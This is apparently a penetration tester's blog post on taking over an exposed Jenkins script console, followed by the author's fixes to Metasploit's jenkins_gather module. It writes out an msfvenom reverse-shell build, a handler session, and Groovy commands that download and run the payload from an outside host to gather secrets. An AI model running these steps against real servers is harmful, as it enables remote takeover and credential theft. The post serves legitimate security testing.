During my pen-testing, I’ve found it quite common to find Jenkins instances which either have open registration, or an easy-to-guess login combination. Jenkins has functionality that allows users to execute Groovy script via its /script/ endpoint. If this is not secured, an attacker can execute system commands on the Jenkins server, decrypt passwords, and steal keys.
The easiest way to exploit this is to use Metasploit’s exploit/multi/http/jenkins_script_console
module to gain an initial shell, and then post/multi/gather/jenkins_gather
, to dump all of the passwords and keys.
The general method is outlined in the documentation for the script.
On my most recent encounter with this, the jenkins_script_console
module refused to work for some reason.
Instead of using the typical jenkins_script_console
script, instead I prepared a reverse shell payload myself, using Metasploit’s msfvenom
.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.3 LPORT=4444 -f elf -o /tmp/payload.bin
I then uploaded payload.bin to my web-server, to be downloaded later on on the Jenkins server.
Back on my host, I run msfconsole
, and use the following:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/shell_reverse_tcp
PAYLOAD => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.0.3:4444
On the Jenkins instance, I ran the following groovy code:
"wget http://joshua.hu/payload.bin -O /tmp/".execute().text
"chmod +x /tmp/payload.bin".execute().text
"/tmp/payload.bin".execute().text
The connection with the Metasploit module is made, we background the session, and then we use the jenkins_gather
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.4:27468) at 2023-02-22 01:10:28 +0000
^Z
Background session 1? [y/N] y
msf6 exploit(multi/handler) > use post/multi/gather/jenkins_gather
msf6 post(multi/gather/jenkins_gather) > set SESSION 1
SESSION => 1
msf6 post(multi/gather/jenkins_gather) > run
[*] Searching for Jenkins directory... This could take some time...
[-] No Jenkins installation found or readable, exiting...
Aaaand it failed. What? As it turns out, the server Jenkins was running on had a nearly full disk, and the hardware was over a decade old. The kernel was from 2014!
In order for the Metasploit module to determine where secrets are kept, find / -name 'secret.key.not-so-secret'
is run, with a 120-second timeout.
On this server, the find
command was taking over two minutes, and even though I knew where the secrets were stored, I couldn’t force the module to use it. The other pitfall was that even if find
did find the correct folder, it did not halt searching the drive after the first result; it would just time-out, due to the nearly-full drive.
I made a patch to add an optional variable that instructs the module to use a specific directory for the secrets, metasploit-framework/pull/17681.
Then, I ran into more trouble:
[-] Post failed: NoMethodError undefined method `empty?' for nil:NilClass
[-] Call stack:
[-] /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:235:in `block in pretty_print_gathered'
[-] /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:231:in `each'
[-] /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:231:in `pretty_print_gathered'
[-] /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:348:in `gathernix'
[-] /opt/metasploit-framework/embedded/framework/modules/post/multi/gather/jenkins_gather.rb:363:in `run'
A bug in the jenkins_gather script meant that a (valid) empty SSH key would cause the script to crash. I pushed metasploit-framework/pull/17416 to fix that one, too.